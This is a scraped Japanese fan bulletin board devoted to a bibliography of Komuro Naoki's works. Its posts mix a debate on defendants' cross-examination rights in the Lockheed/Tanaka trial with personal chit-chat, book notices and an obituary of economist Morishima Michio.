私は、「憲法、刑訴は国民の権利を守るためのもの。」
彼は、「憲法、刑訴は秩序を維持するためのもの。」
という主張の違いに行き着くものだと思います。(結局、この議論には至らなかったのですが、、、)
以上が、私とブロガ−の議論の要旨及び根本思想(たぶん)です。
Angelixさんとの議論の核心も同様のものだと思います。Angelixさんへ、
論点が多くなりすぎて、彼に反論するには丸一日かかりそうですね。
彼も丸一日かけて投稿しているのでしょう。
彼は明らかに「ローマカトリック戦術」に移行していますな。
(引用はじめ)
ローマカトリックはなぜ1500年以上にもわたって世界最大級の宗派足りうるのか。
その理由は、絶対に過ちを認めないからである、とヒトラーは気づいた。プロテスタント始め多くの人々から、ローマカトリックに対して批判、攻撃の矢が向けられた。が、ローマカトリックは、絶対に教義の過ちを認めない。それでいて、時代に合わないものは、気が付けば、いつのまにか改定されていた。このようにして教義と法王の絶対無謬説は維持されてきた。
これこそが、ローマカトリックが、1500年もの風雪に耐え世界最大の集団であり続けてきた理由である。ヒトラーはこのように説明する。
「大東亜戦争ここに甦る 戦争と軍隊、そして国運の大研究」178P
(引用おわり)
これに勝つ方法はありませんね。ハッキリ言って。
残された道は、自分の為に有益な議論が出来るかどうかを考える事だけだと思います。小野寺さんの助言にもあるように、
>それとそのブロガーさんて、世界中の法律家に頼むほどの価値があるんでし>ょうか?(笑)
価値を考えて議論をしたほうが良いのでは?また、彼は世界中の法律家が反論しても決して誤りを認めませんよ。なぜなら彼は法王だから。
彼はもっと議論をしたがってるようですが、価値がないと判断したならさっさと手を引くのが一番いいですよ。
彼は、見たところ、この議論のために1週間つぶしていますからね、、、。
「ブロガ−の主張」
>これは贈賄側であるロッキード社のコーチャン、クラッターへの嘱託尋問調書が証拠採用された件を指していっているのだが、2人は裁判に証人として出廷してはいない。それゆえ、そもそも反対尋問が問題になることなどあり得ないのである。問題の嘱託尋問調書は捜査段階で作成されたもので、刑事訴訟法上では警察官による尋問調書などと同じカテゴリーに入る文書である。その時点で田中角栄はまだ被告人ではないので、当然被告側が反対尋問をすることなどあり得ない。要するに、彼は、「226条の証人尋問は、警察等の捜査と同じで、反対尋問権が問題になることはありえない。」と主張しているのです。その主な根拠は、
>根拠は、コーチャンらへの証人尋問が刑事訴訟法(第2章第1編「捜査」に 属する)第226条に基づいて請求され、行われたということに尽きる。
これに対して「私の主張」は、
「226条の証人尋問は、原則どうり、文理どうり証人尋問であり、反対尋問権も原則どうり問題となり、被告に与えられなければならない。226条が「捜査」の章に規定されているからといって被告(これから被告になる容疑者等)に重要な証人に対する反対尋問権は認められないとする解釈は憲法31条、37条に反する。」というものです。
要するに、「226条の証人尋問は、警察等の捜査と同じではなく、反対尋問権が問題になることはありえないということはない。」と反論したのです。
なるほど、小野寺さんのおっしゃるとうり、単純化、モデル化が小室先生の学問の方法でした。ロッキード裁判において問題になった「証人尋問」についての法体系及びわたしとブロガ−の主張を単純化してみます。(それがモデルと言えるかどうかは別として。)まず、コーチャンらは、次の条文を根拠に証人尋問されました。
刑事訴訟法第226条
犯罪の捜査に欠くことのできない知識を有すると明らかに認められる者が、第223条第1項の規定による取調に対して、出頭又は供述を拒んだ場合には、第1回の公判期日前に限り、検察官は、裁判官にその者 証人尋問を請求することができる。刑事訴訟法第228条
1 前2条の請求を受けた裁判官は、証人の尋問に関し、裁判所又は裁判長と同一の権限を有する。
2 裁判官は、捜査に支障を生ずる虞がないと認めるときは、被告人、被疑者又は弁護人を前項の尋問に立ち会わせることができる。この証人尋問は通常の証人尋問と取り扱いを異にするもので、この証人尋問の解釈をめぐっての論点が私とブロガ−の主張の違いを生ずる大きな原因となります。
この2項で立ち会うことができる者は、一般原則に立ち返り、総則の規定を適用して、刑事訴訟法第157条
1 検察官、被告人又は弁護人は、証人の尋問に立ち会うことができる。
2 〔省略〕
3 第1項に規定する者は、証人の尋問に立ち会つたときは、裁判長に告げて、その証人を尋問することができる。3項は、憲法37条2項の「反対尋問権」を実現するために存在するものです。
憲法第三十七条【刑事被告人の諸権利】
1〔省略〕
2 刑事被告人は、すべての証人に対して審問する機会を充分に与へられ、又、公費で自己のために強制的手続により証人を求める権利を有する。
3〔省略〕
失礼しました。
私が申し上げたのは、かなりレベルの低い基礎の部分でして、やはり独学しないといけないのでしょうね。
ただ、Angelixさんが非常に苦しまれているのを拝見して、何かおことばをかけないとと思ったしだいです。何もお役に立てなくてすみません。
あまりにも前提がちがったりするとなかなか有益な議論ができないことも確かかと思いますので、小室先生の説明のしかたが参考になるかなと思っただけです。
私も素人です.一度首を突っ込んで酷い目に遭ったのに懲りていない.
ただ,言われっぱなしですね.
こっちは,引き写しで十分だという前提で議論しているので,何でこんな事も知らないのだ,調べろよなんて思われているようですけど.
多分,モデル化してとかそういった議論は,今の私(って,かつて出来たのかと言われそうですが)にはかなり荷が重いですね.
Angelixさん、お疲れ様です。
私をはじめ法律の素人の方々のために一言。
小室先生流の議論を展開されるのならば、まず基礎にたちかえって、刑事訴訟法の概略をモデル化して、そのあと、ブロガーさんとの違いをスケッチしていただければ大変ありがたいのですが。
そもそも訴訟法の前提となる政治思想などに違いがあるかもしれないし、瑣末なところがちがうとか、ことばの定義が違うとかそういう整理をしていけば、我々も理解が早まると思います。
あるいは、たいした違いがないとか、ちょっとしたところが違うとかということもありえます。
とにかくモデル化、単純化、そして補助線をひきながらお願いします。
そもそもすべては、仮説であると思いますし、特に法律論というのは「理論」にみえて純粋な「理論」ではないような気がしますので、あまり真剣になりすぎて心を病んだりしないようお気をつけください。
それとそのブロガーさんて、世界中の法律家に頼むほどの価値があるんでしょうか?(笑)
角栄裁判について経過を書いて,法律家に適切な質問を作ってみるというのはどうでしょう?
調書を証拠に採用し,証人として呼ばずに反対尋問もさせないなどとんでもなく,技術論的には出廷していない証人に対する反対尋問権が問題にならないというのが正しかったとしても,実質的には反対尋問権が奪われたも同然なのは私には明らかなのですが,ブロガーを説得するには,それこそ,日本中,世界中の法律家に質問のメールを送る以外法がなさそうですので.
また例のブログにコメントを書いてしまいました.
本当に,法律の専門家に答えて貰った方が話が早いのに,何故こうなるのだろう?
刑法学者の大抵が渡部昇一教授に賛成という話なので,その通りに議論出来れば良いのに…
PHP研究所ということは、「宰相論」の代わりということでしょうか。内容はちょっと違うようですが。またボツにならないことを祈ります。
今日は気力萎えしていました.(といっても,私は,これからは様子を見るだけで,これ以上例のブログにコメントするとは思えませんが.)
それにしても,角栄裁判批判派の角栄への愛って何さ?
自分こそは人権派なりとでも言いたいのかねえ.
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メーカー名 KDDI-SN モデル名 A1402S 撮影日時 2004:07:25 18:47:35 画像の幅 x 高さ (容量) 640x480 (54 kB) 露出モード 自動 フラッシュ フラッシュ機能なし シーン撮影タイプ 標準 被写体距離範囲 不明
裁判批判派の様々な論考を引っ張り出して来て,元気に議論していたのですよ.
今の私は,議論をするたびに,神経が擦り切れそうな感じで…
ついさっきも,また新しい投稿をしていますねえ.
法律学のカフェにも,助太刀願うと投稿したばかりなのですが,これでやめた方が良いのか知らん?
芦部先生の「憲法」を読了しました。
受験参考書ばかりを読んできたわたしには、とても新鮮に感じられました。
結論ばかり(違憲OR合憲)を重視しては「憲法」の精神は理解できないのですね。
「憲法」は、法律(民法等すべての法規)の解釈の仕方を規定している法律なのだ。ということが骨身にしみました。
小室先生の「憲法は慣習法」というお言葉は含蓄あるもの。
達人の言葉であることが改めてわかりました。良書に感謝。Angelixさんへ、
彼(わたしは231と呼んでいる。)は、無用に論点を広げて、さりげなく自分の主張を変え、混乱させるのが得意です。例えば、>正義の実現に支障をきたす恐れがあるので、捜査の当事者である検察ではな>く裁判所に証人尋問をさせるという方法を用意しているわけだ。
といっておきながら、後に、
>検察は裁判所に捜査協力を「させる」のではなく、「してもらうよう要請で>きる」ということである。
と主張する。
これは明らかに主張の同一性に変更を及ぼす要素の変更。
主張の撤回および新たな主張の提示であり、主張の敷衍ではない。
これは、小室先生のいうところの「同一律」に反するやり方です。
彼が、論点を増やしてきたら、どこかでこれをやっている可能性がある。
「同一性」「矛盾」を指摘すると、彼は矛盾に矛盾を重ね、なりふりかまわず反論をしてくる(わたしとのやり取りをご覧ください。おまえとはもう議論しないと言っておきながら2個も新しく投稿している。これも「矛盾」。)ので適当な時期に切り上げるのがベスト。
Angelixさんは、論理一貫した主張をしている。
頭が弱くなっているなんてことはありません。これだけはご心配なく。
我ながら頭が弱くなっているのかなあ…
例のブログへの反論で何方か助けて貰えませんでしょうか?
時期は問題ではないと言うべきだったのでしょうが。
論点を拡散されてしまったみたいです.
私と Mayson さんで反論しているのに,返信が,私への分と Mayson さんへの分とに分かれています.
私への負荷がかなりかかりそう…(そして,私は,以前はあった耐久力がない.)
おもしろいおもしろい。最高です。
1989.10.26のは最初にちょっとあいさつと17分くらいのトークで消費税のことなどです。その1週間くらい前によっぱらってとったNGシーンがまたおもしろい。「ハーバードで一番だった!」なんてね。
1990.1.25は、最初の挨拶のほか22分くらいのトークで、マルクシズムの崩壊などです。1989年は、ヒットラー生誕100周年で、それ以降なにかがおこるとヒットラー自身が予言していたとか。
とにかくギャグをいったり、早口で解説したりおもしろい。1990.2.10にも「60分放し飼い 輝け!ウワサ話大賞」という番組にもでたみたいです。
☆Maysonさん、現在では司法書士も司法試験とほぼ同じくらいの合格率の難関試験となってきたみたいですね。
行政書士の成功体験がきっとプラスに作用するはずですよ。
「ある面で成功体験をした人間は他の面でも成功する可能性が高い。」そうです。
(修斗の泰斗・巽宇宙 選手が筆者に直接語った)![]()
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お互い頑張りましょう。
さて、今はまだ私のお友だちではない(potential friendとでもいうべきか)タヌちゃんに関してです。
今晩、動物王国でこんな会話がありました。
母「タヌキ汁はどうかしら。庭をあらされては困るし。」
父「インターネットでタヌキの餌について調べてみて。餌付けしよう。」
もうベイトソンも真っ青の板ばさみ状態です。
☆Angelixさん、その議論についてはノーコメント。
わたしが議論に入り始めたらこの掲示板がわたしにとっての憩いの場でなくなってしまいます(笑)。
それに、同意を求めなくても大丈夫だと思いますよ。
Angelixさんの説かれている内容は、わたしの見る限り、その論点についてもほかの論点についても論理的で、終始一貫していると思いますよ。わたしはその論点についての議論・学説状況を寡聞にして知りませんが。
あの、ブロガーさんは「現実とフィクションの違い」と書いてますね。
しかし、Angelixさんは近代裁判(とくに近代刑事裁判)の理念型(モデル)を、あるいはその理念型から演繹して現行刑事訴訟法の条文解釈はこう有るべきだということを、説かれているわけでしょ。
だから、かみ合わないのは当然といえば当然ではないでしょうか。
ちなみに、ちょっと前まで司法試験界の多くの受験生が使っていた基本書、田宮『刑訴』から一部引用しておきます。これを読めば、ブロガーさんの考え方が、わからないではないですね。
田宮裕(1999年逝去)『刑事訴訟法[新版]』有斐閣 366頁より引用。
第八章 伝聞証拠
一 伝聞法則の意義
(一) 伝聞証拠排斥の法理(略)
(二) 直接主義との関係(略)
(三) 証人審問権との関係
伝聞法則は、憲法三七条二項の証人審問権(証人対質権ないし証人対面権ともよばれる)とどういう関係にあるのだろうか。
この点について、判例の答えはたいへん素っ気ないものである。すなわち、憲法は法廷に出てきた証人(形式的意義の証人)に対する反対尋問を保障しただけで(最大判昭和二四・五・一八刑集三巻六号七八九頁)、証人たりうべき者(実質的意義の証人)に対する反対尋問を保障したものではないというのである。したがって、伝聞法則とは合致しないことになる。しかし、対審に由来する反対尋問や供述態度の観察などの保障という点で、両者が共通の目的に奉仕することは、母法たるアメリカ法についての議論でも承認されていることであるから、むしろ密接な関係があると考えるべきであろう。判例も、供述録取書に関する事案で、これを許容する理由を説明したにすぎないこと(書面には法廷で反対尋問しえない)、また、「それで不満なら自分で証人喚問を請求して反対尋問をすればよい」とも述べているので、結局すべての実質的証人に対する反対尋問を予定しているともいえることから、伝聞法則を念頭においたもの(もちろん、被告人側の審問権という限度で)と解しえないわけではないと思われる。
このように考えると、伝聞法則の内容を証人審問権の保障との関係で、その合憲性を検討するという作業は、今後も一つの課題たりうることは疑いをいれないであろう。現行法の施行以来、学説にはこのような観点からの違憲論があとを断たないが(略)、必ずしも有力説とはなっていない。アメリカには若干の判例の展開があるが、これらをも参考にしつつ、証人審問権と伝聞法則のかかわりをいま一度検討してみるべきである。
FITOMAROさん、Angelixさんの書き込みを見て、
Komulo Families の掲示板を思い出しました。
あぁ、懐かしい。懐かしいといえば、実家で古い録画済ビデオテープを発掘しました。
数十巻あったのですが、その大半はカビでダメになっていました。![]()
おそるおそる再生。
結果。
音はすれども、画面は一面、砂嵐。![]()
しかし、その中に一本。
奇跡的にカビが繁殖していなかったテープを発見。そのタイトル。
南海放送(日本テレビ系)「落合信彦スペシャル」。![]()
おぉ…神様。
これは……
「ブタは死ね!」
「狼たちへの伝言」!
「アァサァヒィー・スゥーパァー・ドォラァイィ!」
「国際政治ジャーナリスト!」
15年前のわがアイドル、落合信彦ちゃんが初めて司会をつとめたテレビ番組ではないですかァ!!ちなみに、録画記録によると1990年3月に2回にわたって放送されたようです。
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ベルリンの壁が崩壊し、冷戦が終わったばかりの当時、
日本では石原慎太郎・盛田昭夫共著『「No」と言える日本』が出版され、
アメリカでは誤訳に満ちたその海賊版が流通して話題になりました。
日本のマスコミ界では「日本バッシング」という言葉が流行っていたころです。日本側ゲストは石原慎太郎衆議院議員(当時)、
アメリカ側ゲストはヘレン・ベントレー下院議員(当時。議会前で東芝製ラジカセを金槌で叩き壊した人)、
サンディー・レヴィン下院議員(当時)。今、見直してもかなり面白い内容です。
なんたって、
ノビー、英語がウマイ!
石原さん、今よりワカイ(そうでもないか?)!
ベントレーおばちゃん、顔がコワイ!
レヴィンさん、知的でカッコイイ!![]()
番組最後には、こんなやり取りがありました。
女性アシスタント。
「落合さん。初めてのキャスター、やってみてどうでしたか?」その言葉に、ノビー。
「童貞を失ったような感じですね。」女性アシスタント。
「エェ…ッ?(口元を手で押さえて赤面)」![]()
さて、そのこころは。
ノビー。
「汚らわしいことをしちゃったような感じだけど、でも気持ちよかった。」さすが、ノビー。
いうことがハードボイルド。
いや、番組最後だから、ジョークでさらば、か。
でもちょっとセクハラか。『狼たちへの伝言』からの一節。
ノビー、10歳で童貞を失ったとき、
「彼女の中でちょうど小便がしたいなぁ」
と思ったらしい。ということは。
ノビーは初めての司会を終えて、
「スタジオの中でちょうど小便がしたいなぁ」
とも思ったんですかね。あ、これは
冗談 。ま、童貞の私には、その気持ち、どちらもわかりませんが。
ごほん。お口直しに、たかじんのコンサートのコマーシャル。
![]()
というわけで、奇跡的にカビの被害を免れていた、
わがアイドル落合信彦ちゃんのビデオは無事、DVD化。
半永久的保存ができました。
しかし、あぁ、無情。レ・ミゼラブル。
当時、私が「将来の師か愛人 か」と敬愛 していた牧瀬理穂先生。
彼女のCMを録画したビデオライブラリー。
こちらは完全にカビにやられていました。
再生したら例の砂の嵐。
「愛の嵐」の夢はどこへ消えたのか、行ったのか。
たしか、あれはタケダのハイシーL。JRクリスマス・エクスプレスでは厚着だった牧瀬先生、
ハイシーLでは超薄着のワンピ(ース)。
ヒラヒラの秘密のベールをバサァーッとめくって、
純白の隠された真実 を垣間見せてくれたあのCM。
あれはベルリンの壁の崩壊の隠喩だったのか。
今となっては知る由もない…。と、一人たそがれていたら、
ちゃんとこういうサイトがありました。「CMギャラリーインデックス」
「牧瀬理穂 ハイシーL(スカートめくり編)」
![]()
![]()
これです、これ。
あぁ…いい時代になりましたのぉ…フォッフォッフォ。
あ、ちょっと遠くにいってしまいました。
ここは「小室直樹文献目録」掲示板です、念のため。
ついさっき気づいたブロガーの愚論.
(以下コメント)
>現に、全日空ルートの弁護団はエリオットから宣誓供述書をとってそれを証拠申請している。Angelix氏のロジックによればこの供述書も証拠採用すべきではないということになってしまう。なりません.ああ,アホくさ.
弁護側の出した宣誓供述書に関しては,踏みにじられるのは,被告人の反対尋問権ではなく,検察側の反対尋問権なのですからね.
刑事裁判で裁かれるのは,被告人ではなく,検察側です.
検察側の処罰請求には,毫の疑いもあってはならないというのが,近代刑事訴訟法の精神です.
大体,被告人に有利な伝聞証拠を採用してどう被告人の人権が侵害されると言うのですか?
無差別思考の平板な似非論理としか言い様がありませんな.
(以上コメント)
危うく誤魔化されるところでした.
まあ,技術的に全く疑問の余地がないかどうかは,法律家の判断に任せるのが一番なのでしょうけど.
どうでしょう,村上さん?
それにしても,冤罪の構造だの,裁判例だのと話をする癖に,相手が田中角栄になると途端に思考停止して,法律論となると伝聞例外を定めた条文に依って議論しようとするとはどういう事だろう?http://homepage.mac.com/biogon_21/iblog/B1604743443/
http://homepage.mac.com/biogon_21/iblog/B1604743443/C1172174836/E155368649/私が他の酷い裁判例を批判していないのはまあ,その通りだとして,積極的に反批判を繰り広げた覚えなどありはしない.
それに対して,このブロガーは何なんでしょうね.::裁判とは何かも分からず,“角を縛った法は丸も三角も立花も渡部も縛る”という事が全然理解出来ていないような人間が人権派ぶるなんてちゃんちゃらおかしい!
と
http://homepage.mac.com/biogon_21/iblog/B1604743443/C526780001/E1231246324/
にコメントしておきましたけど.
私も今TOEICの結果待ちです。ドキドキ・・
Angelixさん。
やっと来ましたね。
わたしも好き者ですので参戦します。村上さん。
わたしも試験勉強をはじめることにしました。
といっても、司法試験ではなく、司法書士試験です。
実は、わたし、行政書士の資格をもっておりまして、
この二つの資格を生かして独立を目指そうと思います。
この試験もかなりの難敵。
苦戦が予想されますが、行動的禁欲で合格します。
お互いに頑張りましょう。
お友達のたぬたぬ君に宜しく。
では。
確認しました。完璧です。
助かりました、どうもありがとうございました。他の掲示板はどうも無事だったようですね…
なぜこの掲示板だけログが消えたのかは謎です。>私も中々結婚できなくて結構人生厳しいです。頑張ります。
われわれ、そろそろ結婚してもおかしくない年齢ですからねぇ…
また、須藤さんが受けるストレスは半端じゃないと思います。
お互い、適度に息抜きしながら頑張りませう。
Mayson さん,その他の興味のある方,やっと例のブログで反論が出ました.
私も早速コメントで反論しておきました.http://homepage.mac.com/biogon_21/iblog/B1604743443/
http://homepage.mac.com/biogon_21/iblog/B1604743443/C1172174836/E1782643349/
(転載はじめ)須藤さん、もし可能でしたら、過去ログの一部にはめ込んでおいていただけないでしょうか。よろしくお願いします。ご面倒でしたらかまいません。
(転載おわり)
村上さん、こんにちは。須藤です。
「過去ログ」のファイルを一つ増やして、[7]の部分を、丸々復活させたログのページにあてて割り込ませました。ご確認下さい。私も中々結婚できなくて結構人生厳しいです。頑張ります。
※バグで過去ログが消えていることは初めて知りました。他の掲示板でも同じ事が起きているのでしょうか。消えてしまったものは直しようが無い、とは思いますが。
つ、つ、ついに、この瞬間 がやってきました!つい先ほど、たぬきの“タヌちゃん”に邂逅いたしました。
しかも、二匹ですよ、二匹!
大きいのと小さいの。番 いなのか、親子なのかわかりませんが、
とにかく、タヌキは確実に庭に棲みついていることが判明いたしました。
それは、今から30分ほど前のことです。わたしが散歩に出かけようと勝手口から外に出たら、父が仕事着で立っておりました。
その手にはお中元の桃。
今まさにカブリつこうとしておりました。
どうやら庭の木々に水遣りをして、一息ついたところのようでした。そこで、わたし。
「お父さん、タヌキ、どこで見たん?」
これまでタヌキの姿を目撃したのは父だけだったのです。父。
「あぁ、あそこでタヌキのタメグソが見つかって…」
といいながら、ジャングルのようになった竹林の方へ連れて行ってくれました。わたしは、「あぁ、それは知ってるんで、タヌキをどの辺りで見たのかを知りたいんだけどなあ」と思いながらも、ま、せっかくですので再度タメグソを見てきました。
そして、その帰り。再度、
「どの辺りで見たん?」
と聞いたところ、
「その坂の下を歩いとったんよ。」
と父。そして、その坂の上にきたところ、
なんとその坂の下を、タヌキが二匹横切ったのです。二人、思わず、
「おおぉぉ…(言葉にならない)!!二匹おる、二匹おる!」
上の写真がその坂なんですが、画面で言えば左から右へ、トコトコトコトコと。
タヌキは毛が抜けたのか、ほっそりとしていました。
タヌキというよりキツネのようでした。その間、数秒。
一瞬、こちらをチラリと見ました。わたしが携帯のカメラの存在を思い出し、激写しようと取り出したときは時すでに遅し。
二匹は藪の中(写真中央、奥)に消えてました。いやぁ〜〜〜〜、いいもの見せてもらいました。
また、ほぼ同時に祖父も一匹見てました。
庭の畑にいた祖母に、「ついに拝顔の栄に浴したよ」とかなんとか言っておりました(笑)。
本日、論文式試験の最終日。
受けることのできなかった限りなく透明に近いブルー(村上龍)な心を、二匹のタヌキに癒された夕刻でした。
ちなみに、1988001『大国・日本の逆襲』160頁には、徳島の「タヌちゃん」が登場します。(書き込みを控えておりましたが、これは一大事件ですので書き込みしてしまいました。personさん、小野寺さん、情報ありがとうございます。)
小室先生の講演や出演番組などをまとめてみました。未完成ですが、なにか情報をお持ちの方は、この掲示板か私にメールをいただければと思います。
他にもあるとか、録音、録画してあるとか、この表の間違いや足りないところとか、どんなことでも結構です。
NHKニュースによると、森嶋氏は、阪大時代日本ではじめて、英文による経済学雑誌を発行したそうですが、それはまさしく当文献目録の筆頭文献である
1958001 The Equilibrium and Stability of the Market with Demonstration Effectが収録されている
Osaka Economic Papers のことでしょうね。
>鷲田小彌太著『「本の定番」ブックガイド』
>東洋経済新報社 定価(1500円+税)確認しました。2004.6.10発行です。
該当箇所は次のとおり4-1小室直樹『痛快!憲法学』と丸山真男『現代政治の思想と行動』
p54-59
4-2ハイエク『奴隷への道』
p59
7-1妙木浩之『心理経済学のすすめ』
p90
13-4カッパ・ブックスとノンブック
p170-171お亡くなりになった森嶋通夫先生の名前も、小室先生の先生としてでています。
なにしろ森嶋先生は小室先生の学問に対する態度に大きな影響を与えた方ですからね。ご冥福をお祈りします。
「自分の恩師森嶋通夫氏は学問上の主張と学者の人柄及び、人間関係はまったくの別のものと考えその通りを実行されたので日本の大学では招んでくれるところがなくなった。そしてロンドン大学へゆかれた。その弟子の私も同じことをしたから、同じ目にあっている。」
1992103週刊文春1992.9.3の日下氏による「私の読書日記」など
文化勲章受章の経済学者、森嶋通夫さん死去
英国在住の世界的な理論経済学者で、文化勲章受章者の森嶋通夫(もりしま・みちお)さんが13日、英エセックス州の病院で死去した。80歳だった。葬儀の日程は未定。喪主は妻瑶子さん。近親者によると、ここ数年体調を崩し、闘病を続けていた。数学を駆使し、マルクス経済学と新古典派経済学の両方を踏まえて展開した動学的経済理論などで、国際的に高く評価された。早くから「日本人初のノーベル経済学賞」の候補と期待されていた。
大阪府生まれ。京都大学を卒業し、50年に京大助教授、63年阪大教授に。65年には日本人として初めて国際計量経済学会の会長になった。
68年、英エセックス大客員教授になり、70年ロンドン大に迎えられ、ロンドン・スクール・オブ・エコノミックス教授に就任した。76年に文化勲章を受章した。
現在は、ロンドン大と阪大の名誉教授。
日本の論壇にも積極的に登場。特に冷戦期に関嘉彦早大客員教授との間で繰り広げた「防衛論争」では外交や国際協力による国防を重視し、攻められた場合には「秩序整然と降伏」をと提言。大きな反響を呼んだ。
77年に出た「イギリスと日本」は両国を比較しながら日本を建設的に批判、ベストセラーになった。
90年代に入ってからも「アジア共同体」を論じるなど、最後まで視野の広い創造的な議論を展開した。
主な著書に、「無資源国の経済学」「サッチャー時代のイギリス」「政治家の条件」「思想としての近代経済学」や自伝「血にコクリコの花咲けば」などがある。
(07/15 11:15) 朝日新聞ウェブニュースより転載
>ありがとうございます。
>1983119、1983120、インタビューでしたか!
>では、文献目録の方に載せさせていただきます。なつかしいですね。
今関連文献にはいっているものでも、直接先生にあってインタビューをしたり、写真をとったりしていて、関連文献ではもったいないものがいくつかありますね。
少なくとも、先生の名前がちょっとでてきたり、本の引用だけのものとは質的に違いますね。
管理者殿、失礼いたします。
小室直樹先生の出席が決定。
「再現・極東国際軍事裁判」
★東京裁判をディベートで再現する★
歴史上空前絶後の東京裁判は空前絶後のディベートだった。
ディベート大学の総力をあげた一大イベントの開催。
歴史を再現する日本初の試み。■日時 平成16年7月17日(土) 9時半開場
■場所 千代田区公会堂
■申 込 先
〒108-0074 東京港区高輪3-25-35-702 日本ディベート研究協会
TEL 03-3441-8120
FAX 03(3441)8393
メール kitaoka@japandebate.com
新刊のようです。
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若人のための戦争学(仮)
著者/訳者名 : 小室直樹/著
出版社名 : PHP研究所 (ISBN:4-569-63828-7)
発売予定日 : 2004年08月20日
販売価格 : 1,890円(税込)
予約状況 : 予約受付中
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[1037] あけましておめでとうございます 投稿者:村上(イン実家) 投稿日:2001年01月01日 (月) 05時06分
新年あけましておめでとうございます。
ことしも「小室直樹文献目録」よろしくおねがいします。
今年も小室直樹博士のご活躍に期待いたしております。
小室直樹博士、おそらくご覧にはなられてらっしゃらないと思いますが、
どうぞお元気でいてください。
いやー、小野寺さんに先をこされてしまった(笑)!
新世紀ですね。ことしもよろしくおねがいします。
こっそり起き出して、こっそり書いてます。
実家の親には内緒なのですよ。
というのは、
もし親がこのわたしのサイトをみたら、
「あんた、勉強せんと何やっとるんぞな、もし。」
といわれてしまうけんなぁ・・・。孫の顔が見たいと言われて困っている村上でした。
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[1036] 新世紀おめでとうございます。 投稿者:小野寺 投稿日:2001年01月01日 (月) 00時14分
明けましておめでとうございます。
今世紀も小室直樹さんの情報収集よろしくお願いいたします。
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[1035] Untitled 投稿者:小野寺 投稿日:2000年12月30日 (土) 21時50分
smさんへ
過去ログを最初からみてきて、438のところまできたら渡辺昇一氏とのテレビの対談をご覧になったというコメントを発見しました。これが私の探しているものだと思います。439で村上さんが日曜放談ではとおっしゃっていますが、くやしくてとっておいた新聞のテレビ欄には新世紀歓談となつています。1996年5月5日日曜日です。
もしそうだとしたらビデオはとってないですか。もしなければ記憶に残っていることだけでも対談の内容を教えていただければありがたいのですが。
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[1034] こんにちは 投稿者:村上 投稿日:2000年12月30日 (土) 14時26分
☆Larryさんへ
コロラド大学ですか。ありがとうございます。
佐々木教授はなーんとも思わないと思いますよ(笑)。
きっと「あっ、そう。」って感じ。
☆小野寺さんへありがとうございます。
1983119、1983120、インタビューでしたか!
では、文献目録の方に載せさせていただきます。
情報をいただいたみなさん、ご覧のみなさん、
本年はまことにお世話になりました。来年、来世紀も『小室直樹文献目録』をどうぞよろしくおねいがいいたします。
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[1033] 関連文献追加など 投稿者:小野寺 投稿日:2000年12月30日 (土) 11時49分
次の文献がでてきましたのでご報告します。
1997.12.15 萬犬虚に吠える 徳間書店 渡辺昇一 p103-
1968.72 社会学評論 現代の社会変動をどうとらえるか 富永健一 p84-87
1997.2.2 朝日新聞日曜版 店頭拝見 自虐的なのはどっち 鵜飼正樹
1998.7.15 東大99 研究する東京大学 東大出版会 p28
1986.5.2 朝日ジャーナル p108-113 整理番号1986102の最終回
それから番号整理1991102収載予定の橋爪さんの論文は
1997.4.25 橋爪大三郎の社会学講義2 夏目書房 p26- にも入ってます。また整理番号1983119,1983120収載予定はインタビュー形式になっていますので、場合によっては一般の方でもよいかもしれませんが、村上さんのご判断におまかせします。
私は1ケ月前にインターネットをはじめて、慣れないキーボード操作でなんとか目録になくて自分の20年間のストックにあるものを送信しおわり、ほっとしていますが、今はこのHPの過去カタログを少しづつ読ませていただいて、いままでの議論や文献収集の経過などを学習して、少しでも皆様の会話についていけるようにがんばっております。意外と新しいのですね。この前身であるこばやしさんの目録は2年くらい前に友人のパソコンでみせてもらってお世話になりました。これからもよろしくお願いいたします。よいお年を。
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[1032] コロラド大学 投稿者:Larry 投稿日:2000年12月29日 (金) 06時45分
村上さん、こんにちは。ナターシャについての解説、ありがとうございました。再び「国民のための経済原論」を読んで見ようと思っています。
そう言えば、こちらにもソ連崩壊後移り住んできたロシア人がたくさん住んでいるのですが、ロシア人の女性の英語のなまりは、何かこう一種独特な雰囲気があるんです。ロシア人の女性が英語を話すと、何か非常に艶かしく聞こえて、思わずみだらな感情が心の底からふつふつと沸き起こってきてしまいます。これは、私だけかと思ったら、どうやらそうではないようです。私の友人たちに聞いたら、彼らも例外なく、ロシア人の若い女性と話すと、その一種独特ななまりのために、思わず抱きつきたくなってしまうと、危ないことを言っていました。まさに、ナターシャは俺のものだ、と叫び出したくなってしまいます。ところで、最近本物のLarryが、LAに帰ってきました。彼はコロラド大学の物理学の大学院に通っているのですが、今はクリスマス休暇だそうです。そこで彼にいろいろコロラド大学について聞いてみました。そうしたら、そこの学生は殆どが白人で、ヒスパニックや黒人などはほとんどみかけないそうです。アジア系も殆どいないそうです。しかし残念なことに、白人女性は多いのですが、この大学は田舎にあるため、殆どの白人女性のファッションは非常にダサく、見かける女性はすべてイモ姉ちゃんだそうです。Larryにきくのさんのホームページにでている彼女の写真を見せたら、きくのさんに匹敵するような美人は見たことがないと断言していました。もし、きくのさんがコロラド大学に留学したら、ミス・コロラド大学に選出されるかも知れませんね。
そして、その大学は、地元のハイスクールで普通に勉強してきた人達が入るところなので、大学での授業も彼らに合わせてあまり難しくないそうです。学生たちも、一生懸命夜遅くまで勉強すると言った事はなく、普通の成績をとって満足しているそうです。結果的に、学生間の競争は激しくなく、みんな仲がいいそうです。
こんなことを考えて見ると、初めてアメリカの大学で勉強する場合には、コロラド大学なんかいい学校だと思いますが、いかがでしょうか。以前、副島先生の掲示板で書いたように、トップ15位に入るような大学院に行くと、授業は非常に厳しく(一週間で千ページ読まされます)、学生間の競争も激しく、クラスメートは殆どの場合、助けてくれません。おまけに、学生間で足の引っ張り合いをしたりします。ライバルの悪い噂を教授たちに吹き込んだり、ライバルのノートを盗んだりします。それに、最初の学期でBを取ると、馬鹿だと思われ、その後の大学院生活は非常に惨めなものになってしまいますしね。
